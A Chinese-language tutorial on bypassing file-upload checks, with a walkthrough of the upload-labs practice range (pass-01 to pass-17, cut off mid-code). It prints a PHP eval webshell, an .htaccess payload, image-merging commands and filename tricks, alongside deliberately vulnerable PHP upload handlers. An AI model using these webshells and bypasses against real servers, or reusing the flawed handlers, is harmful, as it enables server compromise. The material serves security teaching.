概述
大多数网站都存在文件上传功能,如果后台没有进行安全考虑,导致攻击者可以通过一些手段绕过安全措施,从而上传一些恶意文件,然后通过该恶意文件的访问来控制整个后台。
木马程序就是webshell,web就是指通过web应用程序进行交互
webshell木马程序特点,就是基于http协议访问控制
前端js检验绕过
漏洞原因
js代码只是对前端传入的文件后缀进行判断,没有做后端检查
更改前端js代码
我们先上传一张正常图片
发现可以正常上传,但是在上传php文件是却发生错误
php的文件内容是一句话木马
1 <?php @eval ($_POST ['attack' ]);?>
检查网页源码,发现对前端上传的文件有个onchange绑定事件
onchange 事件会在域的内容改变时发生 onchange
事件也可用于单选框与复选框改变后触发的事件
后面跟着一个函数 checkfileExt,这个函数也就是检查文件格式
此处,我们就可以删除onchange事件,再上传一次木马
上传成功,访问木马,然后使用蚁剑链接,发现得到控制
抓包更改后缀
既然对前端传入的文件数据进行检查,那么我们给php文件改个后缀,然后使用bp抓包,再发包绕过前端的检查
首先我们删除之前传入的木马
将我们的php文件改为jpg文件(这里只是更改文件结尾)
上传这个jpg文件,并使用bp抓包
将红框中的jpg改为php,然后forward发包
之所以要将jpg改为php,是因为jpg内容是php代码,但是文件格式为jpg,所以php代码没法解析,也就不会被执行,所以需要更改文件格式
发现上传成功
访问文件,然后使用蚁剑链接
服务端检验绕过
1,检查后缀
黑名单:上传特殊可解析后缀,上传.htaccess,后缀大小写绕过,点绕过,空格绕过,::DATA绕过,配合解析漏洞,双后缀名绕过
白名单:MIME绕过,%00截断,0x00截断,0x0a截断
2,检查内容
文件头检查,getimagesize(),exif_imagetype(),二次渲染
3,其他
.htaccess文件漏洞
这也是黑名单中的一种方法,黑名单中没有将这个后缀名的文件加入黑名单
这种文件是apache的一个配置文件,这个文件可以改apache的配置,导致apache出现解析漏洞
1 2 3 <FilesMatch "" > SetHandler application/x-httpd-php </FilesMatch>
表示上传给apache的任意文件类型,apache都当作php文件来解析
分号配合IIS解析漏洞
这是windows2003上的IIS服务的解析漏洞
例如asp.asp;.txt改文件可以绕过服务端验证,在IIS上被解析为asp文件
冒号配合PHP和Windows环境的叠加特性
利用php和Windows环境的叠加特性,在windows下命名不允许使用冒号,但是我们可以以图片的格式上传,然后抓包修改文件名称,加上冒号,上传一个attack.php:.jpg的文件
上传效果,就是windows把冒号后面的内容去除,文件名为attack.php
但是此时文件的大小为0,所以没法利用
但是可以利用追加符号
将包中的文件名改为attack.<或attack.<<<或attack.>>>或attack.>><
再次上传就可以重写attack.php文件内容
webshell代码就会被写入原来的attack.php中
MIME类型绕过
MIME多用途互联网邮件扩展类型,可以理解为多媒体类型
浏览器会自动使用指定应用程序来打开,多用于一些客户端自定义的文件名,以及一些媒体文件打开方式
常见的MIME类型
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 超文本标记语言文本 .html text/html xml文档 .xml text/xml XHTML文档 .xhtml application/xhtml+xml 普通文本 .txt text/plain RTF文本 .rtf application/rtf PDF文档 .pdf application/pdf Microsoft Word文件 .word application/msword PNG图像 .png image/png GIF图形 .gif image/gif JPEG图形 .jpeg,.jpg image/jpeg au声音文件 .au audio/basic MIDI音乐文件 .mid,.midi audio/midi,audio/x-midi RealAudio音乐文件 .ra,.ram audio/x-pn-realaudio MPEG文件 .mpg,.mpeg video/mpeg AVI文件 .avi video/x-msvideo GZIP文件 .gz application/x-gzip TAR文件 .tar application/x-tar 任意的二进制数据 application/octet-stream
pikachu平台演示
审计源码,源码第20行,增加了白名单,只对MIME类型进行审计,那么我们可以抓包,然后对Content-type内容进行更改,就可以达到绕过
修改完成后,forward发包,就可以看到上传成功了
代码注入绕过—getimagesize()
getimagesize()
函数用于获取图像大小及相关信息,成功返回一个数组,失败则返回 FALSE
并产生一条 E_WARNING 级的错误信息。
语法格式:
1 array getimagesize ( string $filename [, array &$imageinfo ] )
getimagesize() 函数将测定任何
GIF,JPG,PNG,SWF,SWC,PSD,TIFF,BMP,IFF,JP2,JPX,JB2,JPC,XBM 或
WBMP 图像文件的大小并返回图像的尺寸以及文件类型及图片高度与宽度。
返回结果说明
索引 0 给出的是图像宽度的像素值
索引 1 给出的是图像高度的像素值
索引 2 给出的是图像的类型,返回的是数字,其中1 = GIF,2 = JPG,3 =
PNG,4 = SWF,5 = PSD,6 = BMP,7 = TIFF(intel byte order),8 =
TIFF(motorola byte order),9 = JPC,10 = JP2,11 = JPX,12 = JB2,13 =
SWC,14 = IFF,15 = WBMP,16 = XBM
索引 3 给出的是一个宽度和高度的字符串,可以直接用于 HTML 的
标签
索引 bits 给出的是图像的每种颜色的位数,二进制格式
索引 channels 给出的是图像的通道值,RGB 图像默认是 3
索引 mime 给出的是图像的 MIME 信息,此信息可以用来在 HTTP
Content-type 头信息中发送正确的信息,如: header("Content-type:
image/jpeg");
这个函数比较难绕过,也就是比较安全的一个函数,绕过它有三种方法,但是利用起来还需要一个前提条件,就是对方站点还要有一个文件包含漏洞才能绕过,或者修改文件数据的头部数据
直接伪造头部GIF89A
getimagesize方法不仅仅对文件后缀,多媒体类型进行检查,还会对文件内容进行检查
所以我们在上传文件时候,需要对这三种信息同时修改
GIF89A为gif文件头,不使用png或jpg是因为它们文件头文本模式打开为乱码,不好直接修改包内容
但是可以使用十六进制的方式修改
代码审计
抓包绕过,同时对以下三个内容进行修改
forward发包即可绕过验证
CMD方法
1 2 3 windows:copy /b test.png+1 .php muma.png(/b是以二进制方式) linux:cat file1 file2 > file3 (将文件1 和文件2 合并为文件3 ) linux:cat file1 >> file2 (将文件1 追加到文件2 的末尾)
以文本编辑器方式打开,可以在文本末尾发现我们写好的一句话木马,此时直接上传这个jpg文件,就可以绕过
工具实现
工具:edjpgcom.exe
具体利用方法和cmd方法一样
注意:以上三种方式都可以绕过getimagesize方法达到文件上传的目的,但是上传文件类型为图像格式,也就无法利用,如果想要利用需要配合文件包含漏洞使用,此处只介绍getimagesize函数的绕过方法。
upload-lab靶场实训
pass-01
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 function checkFile ( ) { var file = document.getElementsByName ('upload_file' )[0 ].value; if (file == null || file == "" ) { alert ("请选择要上传的文件!" ); return false ; } var allow_ext = ".jpg|.png|.gif" ; var ext_name = file.substring (file.lastIndexOf ("." )); if (allow_ext.indexOf (ext_name + "|" ) == -1 ) { var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name; alert (errMsg); return false ; } }
js代码,可以改前端页面的js也可以抓包修改文件后缀达到绕过效果
pass-02
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])) { if (file_exists (UPLOAD_PATH)) { if (($_FILES ['upload_file' ]['type' ] == 'image/jpeg' ) || ($_FILES ['upload_file' ]['type' ] == 'image/png' ) || ($_FILES ['upload_file' ]['type' ] == 'image/gif' )) { $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $img_path = UPLOAD_PATH . '/' . $_FILES ['upload_file' ]['name' ] if (move_uploaded_file ($temp_file , $img_path )) { $is_upload = true ; } else { $msg = '上传出错!' ; } } else { $msg = '文件类型不正确,请重新上传!' ; } } else { $msg = UPLOAD_PATH.'文件夹不存在,请手工创建!' ; } }
对文件的MIME类型进行检测
pass-03
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])) { if (file_exists (UPLOAD_PATH)) { $deny_ext = array ('.asp' ,'.aspx' ,'.php' ,'.jsp' ); $file_name = trim ($_FILES ['upload_file' ]['name' ]); $file_name = deldot ($file_name ); $file_ext = strrchr ($file_name , '.' ); $file_ext = strtolower ($file_ext ); $file_ext = str_ireplace ('::$DATA' , '' , $file_ext ); $file_ext = trim ($file_ext ); if (!in_array ($file_ext , $deny_ext )) { $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $img_path = UPLOAD_PATH.'/' .date ("YmdHis" ).rand (1000 ,9999 ).$file_ext ; if (move_uploaded_file ($temp_file ,$img_path )) { $is_upload = true ; } else { $msg = '上传出错!' ; } } else { $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!' ; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!' ; } }
黑名单绕过,在php的配置文件中,可以设置php的解析方式,在这里一些老版本的php会设置.phtml
.php3 .php5等,它们依旧可以达到解析php的效果
pass-04
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])) { if (file_exists (UPLOAD_PATH)) { $deny_ext = array (".php" ,".php5" ,".php4" ,".php3" ,".php2" ,".php1" ,".html" ,".htm" ,".phtml" ,".pht" ,".pHp" ,".pHp5" ,".pHp4" ,".pHp3" ,".pHp2" ,".pHp1" ,".Html" ,".Htm" ,".pHtml" ,".jsp" ,".jspa" ,".jspx" ,".jsw" ,".jsv" ,".jspf" ,".jtml" ,".jSp" ,".jSpx" ,".jSpa" ,".jSw" ,".jSv" ,".jSpf" ,".jHtml" ,".asp" ,".aspx" ,".asa" ,".asax" ,".ascx" ,".ashx" ,".asmx" ,".cer" ,".aSp" ,".aSpx" ,".aSa" ,".aSax" ,".aScx" ,".aShx" ,".aSmx" ,".cEr" ,".sWf" ,".swf" ,".ini" ); $file_name = trim ($_FILES ['upload_file' ]['name' ]); $file_name = deldot ($file_name ); $file_ext = strrchr ($file_name , '.' ); $file_ext = strtolower ($file_ext ); $file_ext = str_ireplace ('::$DATA' , '' , $file_ext ); $file_ext = trim ($file_ext ); if (!in_array ($file_ext , $deny_ext )) { $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $img_path = UPLOAD_PATH.'/' .$file_name ; if (move_uploaded_file ($temp_file , $img_path )) { $is_upload = true ; } else { $msg = '上传出错!' ; } } else { $msg = '此文件不允许上传!' ; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!' ; } }
.htaccess文件解析漏洞(Apache中间件解析漏洞)
pass-05
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])) { if (file_exists (UPLOAD_PATH)) { $deny_ext = array (".php" ,".php5" ,".php4" ,".php3" ,".php2" ,".html" ,".htm" ,".phtml" ,".pht" ,".pHp" ,".pHp5" ,".pHp4" ,".pHp3" ,".pHp2" ,".Html" ,".Htm" ,".pHtml" ,".jsp" ,".jspa" ,".jspx" ,".jsw" ,".jsv" ,".jspf" ,".jtml" ,".jSp" ,".jSpx" ,".jSpa" ,".jSw" ,".jSv" ,".jSpf" ,".jHtml" ,".asp" ,".aspx" ,".asa" ,".asax" ,".ascx" ,".ashx" ,".asmx" ,".cer" ,".aSp" ,".aSpx" ,".aSa" ,".aSax" ,".aScx" ,".aShx" ,".aSmx" ,".cEr" ,".sWf" ,".swf" ,".htaccess" ); $file_name = trim ($_FILES ['upload_file' ]['name' ]); $file_name = deldot ($file_name ); $file_ext = strrchr ($file_name , '.' ); $file_ext = strtolower ($file_ext ); $file_ext = str_ireplace ('::$DATA' , '' , $file_ext ); $file_ext = trim ($file_ext ); if (!in_array ($file_ext , $deny_ext )) { $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $img_path = UPLOAD_PATH.'/' .$file_name ; if (move_uploaded_file ($temp_file , $img_path )) { $is_upload = true ; } else { $msg = '上传出错!' ; } } else { $msg = '此文件类型不允许上传!' ; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!' ; } }
抓包改名为attack.php. .
但是这题和下一题之间差个user.ini文件
也可以上传user.ini文件,使文件达到我们预期的解析方式
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 user.ini : 自 PHP 5.3 .0 起,PHP 支持基于每个目录的 .htaccess 风格的 INI 文件。此类文件仅被 CGI/FastCGI SAPI 处理。此功能使得 PECL 的 htscanner 扩展作废。如果使用 Apache,则用 .htaccess 文件有同样效果。 除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER['DOCUMENT_ROOT' ] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。 在 .user.ini 风格的 INI 文件中只有具有 PHP_INI_PERDIR 和 PHP_INI_USER 模式的 INI 设置可被识别。 两个新的 INI 指令,user_ini.filename 和 user_ini.cache_ttl 控制着用户 INI 文件的使用。 user_ini.filename 设定了 PHP 会在每个目录下搜寻的文件名;如果设定为空字符串则 PHP 不会搜寻。默认值是 .user.ini。 user_ini.cache_ttl 控制着重新读取用户 INI 文件的间隔时间。默认是 300 秒(5 分钟)。
pass-06
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])) { if (file_exists (UPLOAD_PATH)) { $deny_ext = array (".php" ,".php5" ,".php4" ,".php3" ,".php2" ,".html" ,".htm" ,".phtml" ,".pht" ,".pHp" ,".pHp5" ,".pHp4" ,".pHp3" ,".pHp2" ,".Html" ,".Htm" ,".pHtml" ,".jsp" ,".jspa" ,".jspx" ,".jsw" ,".jsv" ,".jspf" ,".jtml" ,".jSp" ,".jSpx" ,".jSpa" ,".jSw" ,".jSv" ,".jSpf" ,".jHtml" ,".asp" ,".aspx" ,".asa" ,".asax" ,".ascx" ,".ashx" ,".asmx" ,".cer" ,".aSp" ,".aSpx" ,".aSa" ,".aSax" ,".aScx" ,".aShx" ,".aSmx" ,".cEr" ,".sWf" ,".swf" ,".htaccess" ,".ini" ); $file_name = trim ($_FILES ['upload_file' ]['name' ]); $file_name = deldot ($file_name ); $file_ext = strrchr ($file_name , '.' ); $file_ext = str_ireplace ('::$DATA' , '' , $file_ext ); $file_ext = trim ($file_ext ); if (!in_array ($file_ext , $deny_ext )) { $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $img_path = UPLOAD_PATH.'/' .date ("YmdHis" ).rand (1000 ,9999 ).$file_ext ; if (move_uploaded_file ($temp_file , $img_path )) { $is_upload = true ; } else { $msg = '上传出错!' ; } } else { $msg = '此文件类型不允许上传!' ; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!' ; } }
大小写混合绕过,windows不区分大小写
在这个代码中没有过滤Php,phP等后缀
抓包更改后缀就能达到绕过效果
pass-07
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])) { if (file_exists (UPLOAD_PATH)) { $deny_ext = array (".php" ,".php5" ,".php4" ,".php3" ,".php2" ,".html" ,".htm" ,".phtml" ,".pht" ,".pHp" ,".pHp5" ,".pHp4" ,".pHp3" ,".pHp2" ,".Html" ,".Htm" ,".pHtml" ,".jsp" ,".jspa" ,".jspx" ,".jsw" ,".jsv" ,".jspf" ,".jtml" ,".jSp" ,".jSpx" ,".jSpa" ,".jSw" ,".jSv" ,".jSpf" ,".jHtml" ,".asp" ,".aspx" ,".asa" ,".asax" ,".ascx" ,".ashx" ,".asmx" ,".cer" ,".aSp" ,".aSpx" ,".aSa" ,".aSax" ,".aScx" ,".aShx" ,".aSmx" ,".cEr" ,".sWf" ,".swf" ,".htaccess" ,".ini" ); $file_name = $_FILES ['upload_file' ]['name' ]; $file_name = deldot ($file_name ); $file_ext = strrchr ($file_name , '.' ); $file_ext = strtolower ($file_ext ); $file_ext = str_ireplace ('::$DATA' , '' , $file_ext ); if (!in_array ($file_ext , $deny_ext )) { $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $img_path = UPLOAD_PATH.'/' .date ("YmdHis" ).rand (1000 ,9999 ).$file_ext ; if (move_uploaded_file ($temp_file ,$img_path )) { $is_upload = true ; } else { $msg = '上传出错!' ; } } else { $msg = '此文件不允许上传' ; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!' ; } }
windows文件命名不能存在空格和点
这段代码没有对空格进行过滤,就可以抓包命名为attack.php
(结尾增加一个空格)
pass-08
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])) { if (file_exists (UPLOAD_PATH)) { $deny_ext = array (".php" ,".php5" ,".php4" ,".php3" ,".php2" ,".html" ,".htm" ,".phtml" ,".pht" ,".pHp" ,".pHp5" ,".pHp4" ,".pHp3" ,".pHp2" ,".Html" ,".Htm" ,".pHtml" ,".jsp" ,".jspa" ,".jspx" ,".jsw" ,".jsv" ,".jspf" ,".jtml" ,".jSp" ,".jSpx" ,".jSpa" ,".jSw" ,".jSv" ,".jSpf" ,".jHtml" ,".asp" ,".aspx" ,".asa" ,".asax" ,".ascx" ,".ashx" ,".asmx" ,".cer" ,".aSp" ,".aSpx" ,".aSa" ,".aSax" ,".aScx" ,".aShx" ,".aSmx" ,".cEr" ,".sWf" ,".swf" ,".htaccess" ,".ini" ); $file_name = trim ($_FILES ['upload_file' ]['name' ]); $file_ext = strrchr ($file_name , '.' ); $file_ext = strtolower ($file_ext ); $file_ext = str_ireplace ('::$DATA' , '' , $file_ext ); $file_ext = trim ($file_ext ); if (!in_array ($file_ext , $deny_ext )) { $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $img_path = UPLOAD_PATH.'/' .$file_name ; if (move_uploaded_file ($temp_file , $img_path )) { $is_upload = true ; } else { $msg = '上传出错!' ; } } else { $msg = '此文件类型不允许上传!' ; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!' ; } }
没有对文件中的.进行过滤
抓包将文件后缀名改为attack.php.
即可绕过
pass-09
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])) { if (file_exists (UPLOAD_PATH)) { $deny_ext = array (".php" ,".php5" ,".php4" ,".php3" ,".php2" ,".html" ,".htm" ,".phtml" ,".pht" ,".pHp" ,".pHp5" ,".pHp4" ,".pHp3" ,".pHp2" ,".Html" ,".Htm" ,".pHtml" ,".jsp" ,".jspa" ,".jspx" ,".jsw" ,".jsv" ,".jspf" ,".jtml" ,".jSp" ,".jSpx" ,".jSpa" ,".jSw" ,".jSv" ,".jSpf" ,".jHtml" ,".asp" ,".aspx" ,".asa" ,".asax" ,".ascx" ,".ashx" ,".asmx" ,".cer" ,".aSp" ,".aSpx" ,".aSa" ,".aSax" ,".aScx" ,".aShx" ,".aSmx" ,".cEr" ,".sWf" ,".swf" ,".htaccess" ,".ini" ); $file_name = trim ($_FILES ['upload_file' ]['name' ]); $file_name = deldot ($file_name ); $file_ext = strrchr ($file_name , '.' ); $file_ext = strtolower ($file_ext ); $file_ext = trim ($file_ext ); if (!in_array ($file_ext , $deny_ext )) { $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $img_path = UPLOAD_PATH.'/' .date ("YmdHis" ).rand (1000 ,9999 ).$file_ext ; if (move_uploaded_file ($temp_file , $img_path )) { $is_upload = true ; } else { $msg = '上传出错!' ; } } else { $msg = '此文件类型不允许上传!' ; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!' ; } }
补充知识:php在window的时候如果文件名+"::$DATA"
会把::$DATA之后的数据当成文件流处理,不会检测后缀名,
且保持"::$DATA"之前的文件名 它的目的就是不检查后缀名。
抓包更改名称为attack.php::$DATA
pass-10
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])) { if (file_exists (UPLOAD_PATH)) { $deny_ext = array (".php" ,".php5" ,".php4" ,".php3" ,".php2" ,".html" ,".htm" ,".phtml" ,".pht" ,".pHp" ,".pHp5" ,".pHp4" ,".pHp3" ,".pHp2" ,".Html" ,".Htm" ,".pHtml" ,".jsp" ,".jspa" ,".jspx" ,".jsw" ,".jsv" ,".jspf" ,".jtml" ,".jSp" ,".jSpx" ,".jSpa" ,".jSw" ,".jSv" ,".jSpf" ,".jHtml" ,".asp" ,".aspx" ,".asa" ,".asax" ,".ascx" ,".ashx" ,".asmx" ,".cer" ,".aSp" ,".aSpx" ,".aSa" ,".aSax" ,".aScx" ,".aShx" ,".aSmx" ,".cEr" ,".sWf" ,".swf" ,".htaccess" ,".ini" ); $file_name = trim ($_FILES ['upload_file' ]['name' ]); $file_name = deldot ($file_name ); $file_ext = strrchr ($file_name , '.' ); $file_ext = strtolower ($file_ext ); $file_ext = str_ireplace ('::$DATA' , '' , $file_ext ); $file_ext = trim ($file_ext ); if (!in_array ($file_ext , $deny_ext )) { $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $img_path = UPLOAD_PATH.'/' .$file_name ; if (move_uploaded_file ($temp_file , $img_path )) { $is_upload = true ; } else { $msg = '上传出错!' ; } } else { $msg = '此文件类型不允许上传!' ; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!' ; } }
deldot()函数从后向前检测,当检测到末尾的第一个点时会继续它的检测,但是遇到空格会停下来
trim()函数去除末尾的空格
这两个函数都只调用了一次
那么我们就可以构造文件名称attack.php.
.,经过去除后文件名就是attack.php.
在windows下就被命名为php文件
pass-11
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])) { if (file_exists (UPLOAD_PATH)) { $deny_ext = array ("php" ,"php5" ,"php4" ,"php3" ,"php2" ,"html" ,"htm" ,"phtml" ,"pht" ,"jsp" ,"jspa" ,"jspx" ,"jsw" ,"jsv" ,"jspf" ,"jtml" ,"asp" ,"aspx" ,"asa" ,"asax" ,"ascx" ,"ashx" ,"asmx" ,"cer" ,"swf" ,"htaccess" ,"ini" ); $file_name = trim ($_FILES ['upload_file' ]['name' ]); $file_name = str_ireplace ($deny_ext ,"" , $file_name ); $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $img_path = UPLOAD_PATH.'/' .$file_name ; if (move_uploaded_file ($temp_file , $img_path )) { $is_upload = true ; } else { $msg = '上传出错!' ; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!' ; } }
str_ireplace函数使用:把字符串 "Hello world!" 中的字符
"WORLD"(不区分大小写)替换成 "Peter":
1 2 3 <?php echo str_ireplace ("WORLD" ,"Peter" ,"Hello world!" );?>
可以采用双写绕过,将文件命名为attack.pphphp,上传的文件后缀为.php
注意,这里不能用.phpphp绕过,根据ireplace函数功能,第一次匹配phpphp的前三个字符替换为空,然后文件变为attack.php,此时ireplace函数会再次替换掉php
pass-12
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])){ $ext_arr = array ('jpg' ,'png' ,'gif' ); $file_ext = substr ($_FILES ['upload_file' ]['name' ],strrpos ($_FILES ['upload_file' ]['name' ],"." )+1 ); if (in_array ($file_ext ,$ext_arr )){ $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $img_path = $_GET ['save_path' ]."/" .rand (10 , 99 ).date ("YmdHis" )."." .$file_ext ; if (move_uploaded_file ($temp_file ,$img_path )){ $is_upload = true ; } else { $msg = '上传出错!' ; } } else { $msg = "只允许上传.jpg|.png|.gif类型文件!" ; } } 知识补充: strrpos (string ,find[,start]) 函数查找字符串在另一字符串中最后一次出现的位置(区分大小写)。substr (string ,start[,length])函数返回字符串的一部分(从start开始 [,长度为length])magic_quotes_gpc 加反斜杠进行转义操作,着重偏向数据库方面,是为了防止sql注入,但magic_quotes_gpc开启还会对$_REQUEST , $_GET ,$_POST ,$_COOKIE 输入的内容进行过滤
白名单绕过,%00绕过,这是php语言自身的问题,php<5.3.4版本,并且magic_quotes_gpc关闭。存在这个漏洞
00截断是操作系统层的漏洞,由于操作系统是C语言或汇编语言编写的,这两种语言在定义字符串时,都是以\0(即0x00)作为字符串的结尾。操作系统在识别字符串时,当读取到\0字符时,就认为读取到了一个字符串的结束符号。因此,我们可以通过修改数据包,插入\0字符的方式,达到字符串截断的目的。00截断通常用来绕过web软waf的白名单限制。
get方法中,当url中加入%00时,通过urlencode,%00得到字符\0
0的url编码就是%00
一般在url中的路径修改
正常文件存储/upload/attack.jpg,但是经过修改后路径变为/upload/1.php%00attack.jpg,因为%00被截断,那么保存的文件为/upload/1.php
达到绕过效果
pass-13
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])){ $ext_arr = array ('jpg' ,'png' ,'gif' ); $file_ext = substr ($_FILES ['upload_file' ]['name' ],strrpos ($_FILES ['upload_file' ]['name' ],"." )+1 ); if (in_array ($file_ext ,$ext_arr )){ $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $img_path = $_POST ['save_path' ]."/" .rand (10 , 99 ).date ("YmdHis" )."." .$file_ext ; if (move_uploaded_file ($temp_file ,$img_path )){ $is_upload = true ; } else { $msg = "上传失败" ; } } else { $msg = "只允许上传.jpg|.png|.gif类型文件!" ; } }
0x00绕过,16进制修改
在十六进制下进行修改
pass-14
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 function getReailFileType ($filename ) { $file = fopen ($filename , "rb" ); $bin = fread ($file , 2 ); fclose ($file ); $strInfo = @unpack ("C2chars" , $bin ); $typeCode = intval ($strInfo ['chars1' ].$strInfo ['chars2' ]); $fileType = '' ; switch ($typeCode ){ case 255216 : $fileType = 'jpg' ; break ; case 13780 : $fileType = 'png' ; break ; case 7173 : $fileType = 'gif' ; break ; default : $fileType = 'unknown' ; } return $fileType ; } $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])){ $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $file_type = getReailFileType ($temp_file ); if ($file_type == 'unknown' ){ $msg = "文件未知,上传失败!" ; }else { $img_path = UPLOAD_PATH."/" .rand (10 , 99 ).date ("YmdHis" )."." .$file_type ; if (move_uploaded_file ($temp_file ,$img_path )){ $is_upload = true ; } else { $msg = "上传出错!" ; } } }
1 2 3 4 5 补充知识: 1.Png图片文件包括8字节:89 50 4E 47 0D 0A 1A 0A。即为 .PNG。 2.Jpg图片文件包括2字节:FF D8。 3.Gif图片文件包括6字节:47 49 46 38 39|37 61 。即为 GIF89(7)a。 4.Bmp图片文件包括2字节:42 4D。即为 BM。
绕过文件头检查,可以将一句话木马写入图片中,也可以在文件内容前加上文件头,具体可以查看上面的服务端绕过知识点
pass-15
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 function isImage ($filename ) { $types = '.jpeg|.png|.gif' ; if (file_exists ($filename )){ $info = getimagesize ($filename ); $ext = image_type_to_extension ($info [2 ]); if (stripos ($types ,$ext )>=0 ){ return $ext ; }else { return false ; } }else { return false ; } } $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])){ $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $res = isImage ($temp_file ); if (!$res ){ $msg = "文件未知,上传失败!" ; }else { $img_path = UPLOAD_PATH."/" .rand (10 , 99 ).date ("YmdHis" ).$res ; if (move_uploaded_file ($temp_file ,$img_path )){ $is_upload = true ; } else { $msg = "上传出错!" ; } } }
getimagesize函数的绕过方法,前述已经讲过,对后缀,多媒体类型和文件头同时修改,然后利用文件包含漏洞解析
pass-16
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 function isImage ($filename ) { $image_type = exif_imagetype ($filename ); switch ($image_type ) { case IMAGETYPE_GIF: return "gif" ; break ; case IMAGETYPE_JPEG: return "jpg" ; break ; case IMAGETYPE_PNG: return "png" ; break ; default : return false ; break ; } } $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])){ $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $res = isImage ($temp_file ); if (!$res ){ $msg = "文件未知,上传失败!" ; }else { $img_path = UPLOAD_PATH."/" .rand (10 , 99 ).date ("YmdHis" )."." .$res ; if (move_uploaded_file ($temp_file ,$img_path )){ $is_upload = true ; } else { $msg = "上传出错!" ; } } } 知识补充: exif_imagetype ()读取一个图像的第一个字节并检查其后缀名。 返回值与getimagesize ()函数返回的索引2 相同,但是速度比getimage快得多。需要开启php_exif模块
绕过方法和getimagesize函数一样
pass-17
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])){ $filename = $_FILES ['upload_file' ]['name' ]; $filetype = $_FILES ['upload_file' ]['type' ]; $tmpname = $_FILES ['upload_file' ]['tmp_name' ]; $target_path =UPLOAD_PATH.'/' .basename ($filename ); $fileext = substr (strrchr ($filename ,"." ),1 ); if (($fileext == "jpg" ) && ($filetype =="image/jpeg" )){ if (move_uploaded_file ($tmpname ,$target_path )){ $im = imagecreatefromjpeg ($target_path ); if ($im == false ){ $msg = "该文件不是jpg格式的图片!" ; @unlink ($target_path ); }else { srand (time ()); $newfilename = strval (rand ()).".jpg" ; $img_path = UPLOAD_PATH.'/' .$newfilename ; imagejpeg ($im ,$img_path ); @unlink ($target_path ); $is_upload = true ; } } else { $msg = "上传出错!" ; } }else 